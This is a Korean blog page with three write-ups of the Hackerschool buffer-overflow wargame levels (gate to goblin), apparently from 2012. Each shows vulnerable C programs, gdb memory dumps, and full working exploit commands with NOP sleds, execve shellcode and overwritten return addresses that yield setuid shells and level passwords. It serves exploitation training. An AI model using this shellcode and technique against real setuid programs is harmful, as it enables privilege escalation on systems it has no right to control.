'MyStudy/BOF원정대'에 해당되는 글 13건

  1. 2012.01.18 hackerschool bof 원정대 cobolt -> goblin
  2. 2012.01.17 hackerschool bof 원정대 gremlin -> cobolt
  3. 2012.01.17 hackerschool bof 원정대 gate -> gremlin
LEVEL3 (cobolt -> goblin) : small buffer + stdin

이번 실험은 작은 버퍼에 입출력으로 문자열을 받고 있다. 소스코드를 보자

[cobolt@localhost .izayoi]$ cat goblin.c
int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

버퍼의 크기는 여전히 16이다. 그리고 gets를 이용해서 문자열을 박고 그것을 출력하는 프로그램이다.
2번 문제의 방법을 이용하고 싶지만 왜 에러나는지 모르기에 다른 방법을 쓰려고 한다.

int main()이라고 해서 인자값을 못받을거 같은데 실제적으로는 인자값은 받아서 메모리 안에 존재하게 된다.
이를 이용해서 문제를 풀 생각이다.

[stack] [sfp]      [ret]          [argc] [argv] [env]
"a"x20           "argv주소값"                "\x90"x100+shellcode

 [cobolt@localhost .izayoi]$ gdb -q goblin
(gdb) b *main+15
Breakpoint 1 at 0x8048407
(gdb) r `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Starting program: /home/cobolt/.izayoi/goblin `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
aaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x8048407 in main ()
(gdb) x/70x $esp
0xbffffa74:     0xbffffa78      0x61616161      0x61616161      0x61616161
0xbffffa84:     0x61616161      0x61616161      0x61616161      0x00000000
....
0xbffffbdc:     0x6f79617a      0x6f672f69      0x6e696c62      0x90909000
0xbffffbec:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffbfc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc0c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc1c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc2c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc3c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffc4c:     0x50c03190      0x732f2f68      0x622f6868      0xe3896e69
0xbffffc5c:     0xe1895350      0xcd0bb099      0x454c0080      0x504f5353
0xbffffc6c:     0x7c3d4e45      0x7273752f      0x6e69622f      0x73656c2f
0xbffffc7c:     0x70697073      0x68732e65      0x00732520      0x52455355
....


"a"값을 24개 넣고 자리에 들어가는 것을 확인한 뒤에 \x90의 위치를 찾아보았다.
ret이 가르칠 주소만 신경써보면 약 bffffc0c정도즈음에 주소값을 때린다면 쉘코드가 실행될거같은 느낌이 든다.

아마 공격구문은
(perl -e 'print "\x0c\xfc\xff\xbf"x6';cat)|./goblin `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
이런식이겠지.

 [cobolt@localhost cobolt]$ (perl -e 'print "\x0c\xfc\xff\xbf"x6';cat)|./goblin `perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
id
üÿ¿
üÿ¿
üÿ¿
üÿ¿
üÿ¿
üÿ¿id
id
uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)
my-pass
euid = 503
hackers proof

중간에 입출력함수때문인지 글자를 쳐줘야 sh쉘이 떨어지는 것을 확인할 수 있었다.

졸려...
Posted by john@memory :
LEVEL2 (gremlin -> cobolt) : small buffer

이번 문제는 작은 버퍼라는데 과연 어떤 문제일지 확인해보자

[gremlin@localhost .izayoi]$ cat cobolt.c

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


이번 문제는 buffer의 크기가 16byte밖에 되지 않는다.
[이번에는 gdb로 따로 buffer의 크기를 확인하지는 않겠다.]

여러가지 방법이 있겠지만 그냥 무난하게 진행해보려고 한다.
[stack] [sfp] [ret]                                                                     [argc] [argv] [env]
^"\x90"x20    "아직은 모름. ret address의 다음 주소부분"(4byte)       "\x90"x52 + shellcode(24byte)
이런식으로 수행해보려고 한다.

[gremlin@localhost .izayoi]$ ./cobolt `perl -e 'print "\x90"x20,"\xbf\xbf\xbf\xbf","\x90"x52,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
¿¿¿¿1ÀPh//shh/bin‰ãPS‰á™°
                         Í€
Segmentation fault (core dumped)
[gremlin@localhost .izayoi]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./cobolt ¿¿¿¿'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/70x $esp
0xbffffac0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffad0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffae0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffaf0:     0x90909090      0x6850c031      0x68732f2f      0x69622f68
0xbffffb00:     0x50e3896e      0x99e18953      0x80cd0bb0      0x00000000
...


ret에 \xbf\xbf\xbf\xbf라는 이상한 곳을 참조시켜 세그먼테이션 폴트를 일으킨 뒤에
파일을 덤프떠서 현재 상태를 저장하고 봤는데 \x90이 계속 실행되다가 0xbffffafc주소에서부터 쉘코드가 삽입된 것을 확인할 수 있다.
그렇기에 그 전의 주소 (ex)0xbffffad0정도를 집어넣게 되면 nop썰매를 타고 가다가 쉘코드를 실행시킬것이다.

 [gremlin@localhost gremlin]$ ./cobolt `perl -e 'print "\x90"x20,"\xd0\xfa\xff\xbf","\x90"x52,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
Ðúÿ¿1ÀPh//shh/bin‰ãPS‰á™°
                         Í€
bash$ id
uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin)
bash$ my-pass
euid = 502
hacking exposed

shell이 떨어진 것을 확인할수 있다.

하지만 이 방법은 조금 불완전한게 0xbffffae0의 주소값을 집어넣게 되면 세그멘테이션 오류가 뜨게 된다.
복사한 파일이라 그런건가... 아직 이유를 잘 모르겠다.


이전 문제와 같이 환경변수를 이용한 공격을 시도하게 된다면 잘 될 것이다.
하지만 똑같은 실험을 하기 싫어 이런 방식으로 했으니 level1과 동일하게 하실분은 연습삼아 해도 같은 결과를 보일 것이다.
Posted by john@memory :
LEVEL1 (gate -> gremlin) :  simple bof

코드를 한번 보자

[gate@localhost .izayoi]$ cat gremlin.c

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}


buffer는 256이고 strcpy를 이용한 간단한 bof문제임을 확인 할 수 있다.
stack의 크기를 살펴보자

 [gate@localhost .izayoi]$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)
[gate@localhost .izayoi]$ gdb -q gremlin
(gdb) set dis intel
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %ebp,%esp
0x8048433 <main+3>:     sub    %esp,0x100
0x8048439 <main+9>:     cmp    DWORD PTR [%ebp+8],1
0x804843d <main+13>:    jg     0x8048456 <main+38>
0x804843f <main+15>:    push   0x80484e0
0x8048444 <main+20>:    call   0x8048350 <printf>
0x8048449 <main+25>:    add    %esp,4
0x804844c <main+28>:    push   0
0x804844e <main+30>:    call   0x8048360 <exit>
0x8048453 <main+35>:    add    %esp,4
0x8048456 <main+38>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048459 <main+41>:    add    %eax,4
0x804845c <main+44>:    mov    %edx,DWORD PTR [%eax]
0x804845e <main+46>:    push   %edx
0x804845f <main+47>:    lea    %eax,[%ebp-256]
0x8048465 <main+53>:    push   %eax
0x8048466 <main+54>:    call   0x8048370 <strcpy>
0x804846b <main+59>:    add    %esp,8
0x804846e <main+62>:    lea    %eax,[%ebp-256]
0x8048474 <main+68>:    push   %eax
0x8048475 <main+69>:    push   0x80484ec
0x804847a <main+74>:    call   0x8048350 <printf>
0x804847f <main+79>:    add    %esp,8
0x8048482 <main+82>:    leave
0x8048483 <main+83>:    ret
0x8048484 <main+84>:    nop

gcc버젼은 2.91로 dummy값이 생성되지 않다고 생각하면 된다. 스택도 0x100(=256)만큼 확장된것을 확인할 수 있고 중간에서도 47번 라인에서 ebp-256부분을 복사하는 것을 확인할 수 있다. (들어가는 buf의 주소값이 strcpy의 인자값으로 들어가게 된다. 이때는 ebp-256의 주소값이 들어가므로 buffer의 크기는 256인 것을 생각해 볼 수 있다.)

그렇다면 여기서는 환경변수를 이용한 공격을 시도해보겠다.

사용할 쉘코드 : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 (24byte)

 [gate@localhost .izayoi]$ export izayoi=`perl -e 'print "\x90"x200,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`
[gate@localhost .izayoi]$ cat getenv.c
#include <stdio.h>

int main (int argc, char ** argv){
        printf("%p\n",getenv(argv[1]));
        return 0;
}
[gate@localhost .izayoi]$ make getenv
cc     getenv.c   -o getenv
[gate@localhost .izayoi]$ ./getenv izayoi
0xbfffff07


중간에 getenv라는 인자값으로 넘어오는 해당 환경변수의 주소값을 출력해주는 프로그램을 만들었다.
쉘코드가 들어간 주소값은 \x07\xff\xff\xbf가 됨을 알 수 있고 이제 공격에 들어가면 되겠다.

 
    [stack]      [sfp]             [ret]                [argc][argv]       [env]
^buf=a*(256+4)         \x07\xff\xff\xbf                            izayoi=shellcode

 [gate@localhost gate]$ ./gremlin `perl -e 'print "a"x260,"\x07\xff\xff\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaÿÿ¿
bash$ id
uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate)
bash$ my-pass
euid = 501
hello bof world
Posted by john@memory :